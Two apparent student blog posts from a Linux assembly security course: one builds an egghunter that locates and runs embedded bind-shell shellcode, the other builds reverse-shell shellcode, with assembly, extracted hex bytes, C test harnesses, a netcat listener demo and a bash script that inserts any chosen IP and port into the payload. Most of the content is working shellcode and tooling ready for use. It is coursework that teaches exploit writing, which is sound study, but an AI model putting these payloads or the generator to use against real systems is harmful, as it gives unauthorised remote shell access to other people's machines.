SLAE Assignment 3: Egghunter Demo

This assignment is about writing a working demo of an egghunter. An egghunter code is basically a piece of code that is searching for a code word (the egg) in the memory. When the egg was found, the egghunter code jumps to the address behind the egg and executes the code at this address. For further explanation read:
http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
I used the second example (access revisited) for building my egghunter.

First the egghunter code:

egghunter.nasm

global _start

section .text

_start:
  xor edx,edx
  
doloop:
  or dx,0xfff
  
nextaddr:  
  inc edx
  lea ebx,[edx+0x4]
  push byte +0x21
  pop eax
  int 0x80
  cmp al,0xf2
  jz doloop
  mov eax,0x50905090
  mov edi,edx
  scasd
  jnz nextaddr
  scasd
  jnz nextaddr
  jmp edi
  

And the demo code:

poc.c

#include<stdio.h>
#include<string.h>

unsigned char egghunter[] = \
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";

// add some data
char stuff[] = "Eat my shorts";

// bind shellcode
unsigned char shellcode[] = \
"\x90\x50\x90\x50"  //egg
"\x90\x50\x90\x50"  //egg
"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";

main()
{
	printf("Shellcode Length:  %d\n", strlen(shellcode));
	printf("Egghunter Length:  %d\n", strlen(egghunter));
	
	int (*ret)() = (int(*)())egghunter;
	ret();
}

When this is executed, the bind shell is up. For the shellcode I used the bind shellcode from assignment 1, but any shellcode can be used here. Compiling and extracting the shellcode is the same as in assignment 1 and 2, so I won’t repeat the procedure here.

Get the code.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-342

Advertisements

SLAE Assignment 2: Reverse Shell

What it is about:

•  Create a Shell_Reverse_TCP shellcode
– Reverse connects to configured IP and Port
– Execs shell on successful connection
•  IP and Port should be easily configurable

Here is the C code I used for prototyping the assembler code:

reverseshellds.c

#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void)
{
  int sockfd;
  struct sockaddr_in target;

  target.sin_family = AF_INET;
  target.sin_port = htons(12345);
  target.sin_addr.s_addr = inet_addr("127.0.0.1");
  
  sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

  connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr));

  dup2(sockfd, 0);
  dup2(sockfd, 1);
  dup2(sockfd, 2);

  execve("/bin/sh", NULL, NULL);
}

And here is the assembler code. The IP address is pushed as hex.

reverseshellds.nasm

global _start

section .text

_start:

  ; socket
  push BYTE 0x66    ; socketcall 102
  pop eax
  xor ebx, ebx 
  inc ebx 
  xor edx, edx
  push edx 
  push BYTE 0x1
  push BYTE 0x2
  mov ecx, esp
  int 0x80
  mov esi, eax

  ; connect
  push BYTE 0x66 
  pop eax
  inc ebx
  push DWORD 0x0101017f  ;127.1.1.1
  push WORD 0x3930  ; Port 12345
  push WORD bx
  mov ecx, esp
  push BYTE 16
  push ecx
  push esi
  mov ecx, esp
  inc ebx
  int 0x80

  ; dup2
  mov esi, eax
  push BYTE 0x2
  pop ecx
  mov BYTE al, 0x3F
  int 0x80
  dec ecx
  mov BYTE al, 0x3F
  int 0x80
  dec ecx
  mov BYTE al, 0x3F
  int 0x80 
  
  ; execve
  mov BYTE al, 11   
  push edx 
  push 0x68732f2f  
  push 0x6e69622f  
  mov ebx, esp 
  push edx   
  mov edx, esp  
  push ebx 
  mov ecx, esp  
  int 0x80

Here I used 127.1.1.1 to avoid null bytes.

The program can be compiled and the shellcode can be extracted as shown in the course:

$ nasm -f elf32 reverseshellds.nasm
$ ld reverseshellds.o
$ objdump -d ./a.out|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x68\x7f\x01\x01\x01\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x89\xc6\x6a\x02\x59\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

For a proof concept, the following C programm can be used:

shellcode_reverseshellds.c

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x68\x7f\x01\x01\x01\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x89\xc6\x6a\x02\x59\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

… and it is working.

1.) Use netcat for listening on the right port

$ nc -l 12345

2.) Start the reverse shell in a second window

$ ./a.out 
Shellcode Length:  87

3.) Do stuff in the first window

ls
a.out
reverseshell.c
reverseshellds.c

The script for making the shellcode converts the given IP address and port number to hex.

#!/bin/bash

#convert the ip
ad1=`echo $1|cut -d "." -f1`
ad1=`printf "%02X" $ad1`

ad2=`echo $1|cut -d "." -f2`
ad2=`printf "%02X" $ad2`

ad3=`echo $1|cut -d "." -f3`
ad3=`printf "%02X" $ad3`

ad4=`echo $1|cut -d "." -f4`
ad4=`printf "%02X" $ad4`

iphex=`echo "\x$ad1\x$ad2\x$ad3\x$ad4"`

# convert the port
len=`echo "obase=16; $2"|bc | wc -c`
port=""

if [ "$len" == "2" ]
 then
  tmp=`echo "obase=16; $2"|bc`
  port=`echo "\\x0$tmp"`
fi

if [ "$len" == "3" ]
 then
  tmp=`echo "obase=16; $2"|bc`
  port=`echo "\\x$tmp"`
fi

if [ "$len" == "4" ]
 then
  tmp=`echo "obase=16; $2"|bc`
  tmp1=`echo "$tmp"|cut -c1-1`
  tmp2=`echo "$tmp"|cut -c2-3`
  port=`echo "\\x0$tmp1\\x$tmp2"`
fi

if [ "$len" == "5" ]
 then
  tmp=`echo "obase=16; $2"|bc`
  tmp1=`echo "$tmp"|cut -c1-2`
  tmp2=`echo "$tmp"|cut -c3-4`
  port=`echo "\\x$tmp1\\x$tmp2"`
fi

echo "ip as hex: $iphex"
echo "port as hex: $port"

echo "shellcode:"

echo "\"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x68$iphex\x66\x68$port\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x89\xc6\x6a\x02\x59\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80\""

Usage

$ mkreverseshell.sh ip port

Get the code.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-342